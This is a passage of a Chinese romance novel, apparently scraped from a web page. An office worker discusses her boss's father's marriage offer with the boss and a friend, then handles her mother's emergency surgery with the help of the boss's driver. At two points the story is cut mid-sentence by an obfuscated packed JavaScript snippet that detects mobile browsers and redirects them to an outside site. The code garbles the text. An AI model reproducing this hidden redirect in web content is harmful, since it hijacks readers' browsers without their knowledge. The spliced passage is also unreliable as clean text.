一进办公室,苏心蕴就对她说:“许总在办公室等你。” 她的神情难懂,有些欲言又止的味道。林棉一时也不顾得揣测,先着急忙慌地去许汀舟的办公室报到。 “许总,你找我?” 他没有马上回应她,脸上的表情看不出是在思考还是走神。 “许总?” 她有些担忧地轻唤了一声。 “对不起。”他抬起眼看着她说,“我为我父亲的鲁莽向你表示歉意。” 这父子俩真真都是消息灵通人士!林棉暗叹。 “没事。”她被他们父子两个弄得没了方向,一时不知道该说什么,只好傻乎乎地回了这两个字。也许,在她心里也不认为这是什么值得一本正经道歉的大事。 许汀舟怔了怔:“我父亲的胡话,你别当真就行。” “哦,不会!”她连忙接口道,“我知道自己几斤几两,就算我肯,你也不会同意的。别说三年,就是十年,也只是浪费你的时间。” 许汀舟蹙眉打断道:“什么三年?” 林棉咬牙,看来,许汀舟只是听到一些风声,并不知道细节,只是既然自己说漏了嘴被问到了,也只好老实交待,又把许远山所说的三年为期的种种条件复述了一番。 许汀舟耐心地听着,表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800355|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平静。听她说完最后一个字,才道:“像他会做的事。” “你……你别生气。”林棉小心翼翼,生怕不小心点燃了一个炮仗。 “你不生气吗?”他反问。 她认真想了想:“如果有人事先告诉我,会有一个有钱人这么对我,我大概会生气吧。可是现在我好像并没有那么生气。” “为什么?因为那些条件够诱人吗?”他的声音里带着一些探究意味。 林棉道:“因为我觉得,你的父亲并非单纯在仗势欺人,他所仰仗的,固然有他的财力,可除此之外,支撑他来找我的另外一股力量,是身为人父的慈爱之心。另外,以他的身份,他或许难免高高在上地俯瞰着我这个一无所有的小市民,可他也没有把我踩在脚底下羞辱,他挂出了他的那些条件,等着我踮起脚尖去摘,可选择权毕竟在我手中,他也没有强塞给我的意思。就凭这些,我觉得,我可以原谅他的失礼。”她顿了顿,脸孔有些微红,仿佛是想到了什么不该有的念头,可不知出于什么理由,她还是在他面前把自己的小心思吐了出来,“而且,我承认,你父亲开出的条件是很诱人,有一瞬间我甚至动摇了。” 他的左手握成拳,抵在自己的下巴上,双眼注视着她道:“因为那些条件,你甚至愿意嫁给我这样的人?”他的重音强调在了最后五个字上。 她听出来了。他的话让她莫名地生气:“也许正因为对方是你,不是其他什么乱七八糟的人,我才会有一瞬间的动摇。” 他的拳头渐渐松开,手臂放到了桌面上,嘴唇的轮廓也变得很温柔。 “听上去你并不讨厌我。” “的确如此。”她说,“你对我呢,许总?” “唔,不反感。”他说,“也就这样了吧。” 林棉看出了他嘴角微露的笑意,因此对他的回答也并不生气,跟着笑道:“这一点上我们倒还挺合拍的。” “如果将来你走投无路想接受我父亲的美意,我说不定可以考虑一下与你配合。” “听上去有点勉强啊。” “是有点儿,”他带着些许刻意的一本正经说,“跟你一样,就因为对方是你,我没准才愿意稍稍勉为其难。” 林棉一抬腕表,拱手道:“那就在此先行谢过少侠了。在下先行告退。” 17. 心急火燎的小蚂蚁 林棉回到座位上不久,沈乔的lync对话框就在桌面上亮起,她瞅了瞅周围,确定无人关注后才点开。 料到多半是要聊她与许汀舟的八卦,果然不错。 沈乔打:老许总行动了? 林棉发了个绿色的尴尬脸表情。 沈乔继续打字:我刚来你座位找你了,听说你被许汀舟叫进去了? ——嗯。 她不知道怎么解释目前的状况,也不敢多话乱说。 隔了一分钟,沈乔才又发过来一句:去天台聊会? 林棉本觉得工作时间闲聊不妥,但此刻她正好也有些静不下心、想找个人说说话,便答应了。 沈乔走上天台的时候,手里拿了两罐汽水。林棉早她一步先到,沈乔递了一罐汽水给她:“许汀舟怎么说?”一上来她便问了这个问题。 “他当然是拒绝啦。难道还能跟我说他父亲的安排“好极了“? 沈乔不疾不徐地道:“许伯伯向我和汪豫打听你的时候,没说起为什么他会想到这个主意。但以我对他的了解,他不是会打无把握之仗的人。所以,我很好奇,你和许汀舟之间真的有什么事?” 林棉当然不敢说自己主动亲吻许汀舟的事。但她也不想让沈乔胡乱瞎猜,便有选择性地说了一部分事实:“我想,可能是前几天我失恋,许总送我回家,让司机看见又传给许伯伯听,难免添油加醋些,就产生误会了。” “你失恋这件事和许汀舟有关?” “没有啦,只是那天刚好……刚好在餐厅遇上了。许总替我打抱不平,又送我回家,可能误会就是这么来的。” “他不像是会多管闲事的人啊……”沈乔带着玩味探究的神情,“尤其这种别人感情方面的事,他根本不会插手的。” “我也觉得他不像是那种人。”林棉道,“他自己大概也挺后悔惹上这种麻烦事的。” 沈乔问:“话说回来,你就真的不考虑?” 林棉一脸窘色:“别别别!你可别拿这事儿和我打趣。” “说实话,我有点理解许汀舟老爹的想法了。”沈乔呷了口汽水,仰头望着天上的白云,“不过,身为你们的朋友,我不太看好你们。” “为什么?”话一出口,林棉就觉得自己的问题很傻。沈乔的话应该是个基本事实吧,从哪里看她和许汀舟都不合适。 沈乔扭过头,平视着她:“有些事不方便让你知道,毕竟那是许汀舟的隐私。我只能说,他这个人对待感情是很执着的,不容易动心、也不容易改变初衷。你选择拒绝许伯伯的提议,这个决定没有错。否则,你的感情生活可能会变得很辛苦。不知道这么说你会不会不开心:我还挺怕你对许汀舟真的上心了的。因为我不知道这对许汀舟来说会不会是好事,但对你而言,应该不算幸事。” 林棉忍住再次问“为什么”的冲动,心里却恍如蚂蚁爬过。 沈乔甩了甩头,显得对自己很无语:“唉,我这个说客竟然做得这么失败!许伯伯要是知道了,非得气死不可。” “什么?”林棉惊嚷,“你是说你原本是来替许汀舟的父亲当说客的?” “可不!”沈乔一脸懊恼地挠头,最终把头一昂,“算了,谁让我这人良心公正呢,虽然和许汀舟认识得早,可我也不能把你带坑里啊!走吧,下楼上班去。”说罢,勾住她的胳膊,挽着她离开了天台。 林棉刚走回办公室,苏心蕴就跑过来和她说:“你走开的时候你的手机一直在响,我看了眼号码显示是你妈妈的,我怕是有什么急事,你赶紧回个电话。” 情况的确有点反常,若无急事,她的母亲很少会打她电话,尤其还是持续不断地拨号。谢过苏心蕴,林棉赶紧回拨了过去。 “妈?”电话一通,林棉就急急地唤了一声。 “小林啊,我是隔壁张阿姨啊。” “张阿姨?哦,你好,你怎么会用这个号码打我电话?”林棉立即预感到事情不妙,不由地声音也有些发抖。 “哦,你妈现在在医院呢,医生说是急性阑尾炎,已经那叫什么……哦,说是穿孔了,要动手术。你快点过来。” “好好,你把医院地址给我。”林棉一面扯了张便签纸记下地址,一面谢过邻居张阿姨,并央求她暂时照看她的母亲。 挂断电话,林棉就惨白着一张脸去和许汀舟请假。 “才一会儿不见,你怎么了?”没等她开口,许汀舟就发现了她状态不太对,皱眉问道。 林棉说清了缘由,又提出要先请两天假。许汀舟爽快应允,并说:“你且先别走,我打个电话让司机送你去医院。” “这怎么好意思?”她说,“而且,你要是这么做了,保不齐会让你父亲更加深对我们的误会。” 许汀舟毫不迟疑地道:“这种时候,哪里顾得了这些。你看看你自己六神无主的样子,我可不希望你走出门去就出工伤了,我们公司可是要负责的。” 他的语气不太温柔,可字里行间的意思却充满善意。 林棉领了他的这份善意。 “需要用钱吗?”许汀舟问,“住院、手术都要交费的吧,押金也不少,你身上钱够吗?” 林棉的全部现金加上银/行/卡里的存款,也不超过三千块。 见她不说话,许汀舟从皮夹里掏出一张银/行/卡:“密码是……” “别!”林棉制止她报下去,“卡我收着,但是密码你还是告诉你的司机师傅比较好。我用完了,再把卡还给你。” “也好。”许汀舟把卡交到她手上,“你先去楼下等,我现在打电话让司机把车从停车场开出来。” 多亏了许汀舟的这张卡,加上司机于师傅在医院帮忙跑上跑下,林棉的母亲当天很快接受了手术。虽说是小手术,也得住院几天。 林棉心中感叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800356|175096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世上还是好人多,对许汀舟、张阿姨和于师傅都感激不尽。尤其是张阿姨,都说远亲不如近邻,这种时候真是得到了体现。要不是菜场买菜时张阿姨在围观的人群包围中,发现了疼得脸色发白蜷成一团的母亲,并且及时将她送医,还不定要出多大的事。张阿姨还通知了自己的老伴儿把小谷接到了家里,让他帮忙照看,算是暂时解决了林棉的后顾之忧。只是未来这几天,林棉不免发愁自己该怎么几头兼顾。公司、医院、家里,老的小的都离不开照顾,总是麻烦邻居,不太现实。何况,张阿姨和她的爱人明天晚上要和儿子媳妇一家去泰国度假,小谷肯定不能放在他们家里了。 林棉在手术室外等母亲出来的时候,就给自己的姑姑打了个电话。她的父亲只有这一个妹妹,离她所住的小区也不远,林棉想着或许她能帮忙看顾小谷几天。 电话打通,姑姑那边倒也答应了帮忙,只是说:“我们家的条件你是知道的,家里地方小,你姑父身体又不好,你勤勤哥最近刚失业,你侄子比小谷还小,还要靠我带呢。要是小谷只待一两天玩玩,那是可以的,再久一些,恐怕我们照顾不过来。”父亲过世多年,姑姑与她们联络不算热络,但也谈不上交恶。姑姑的话缺了点人情味,但也不全是托词。只是林棉听了还是有些心寒。 这种时候,她也不好使性子摆脸色,只好在电话里对姑姑谢了又谢,打算明天早上抽空把小谷送过去。 她打电话的时候,于师傅也在旁边陪着她等手术结束。见她挂了电话,关切道:“在和人商量这几天照顾孩子的事儿?” 林棉等手术灯灭等得紧张,有人说话倒有助于缓解这份情绪。加上刚才于师傅又是送她来医院,又是帮忙取钱付费,态度十分热忱。虽说这是在卖许汀舟的面子,但帮的人到底是她。原本心里怀疑是由于司机多嘴才传话才让许父误会的心结也就解了。她回道:“是啊,我今天肯定是要陪夜的,后面我还要两头跑,总让邻居照顾小孩也不是个事,只好拜托亲戚帮忙几天了。” 于师傅道:“说得也是呢,我听你刚才说,你要早上把孩子送到你姑姑那里去?依我说,你也别麻烦了,你要是信得过我,我今晚上就把孩子给你送过去。你家小区我也认得路。你把你邻居住几零几告诉我,我去上门接孩子。她今天也见到我了,应该会放心把孩子交到我手上的。当然,你还是得打个电话提前和人招呼一声。” 林棉觉得今天已经挺麻烦于师傅了,但是,这一天下来,张阿姨恐怕被折腾得更甚。明天张阿姨一家还得出国旅游,没准今晚还得收拾收拾行李什么的,小谷虽然素来乖巧,但毕竟是小孩子,难免有时闹腾。要是惹得张阿姨和她老伴儿今晚睡不好,继而影响第二天旅行的精神,她可要内疚了。想到这里,她决定接受于师傅的建议。 “好的,于师傅,那就麻烦你走这一趟了。” 于师傅一拍大腿,乐呵呵地道:“成!”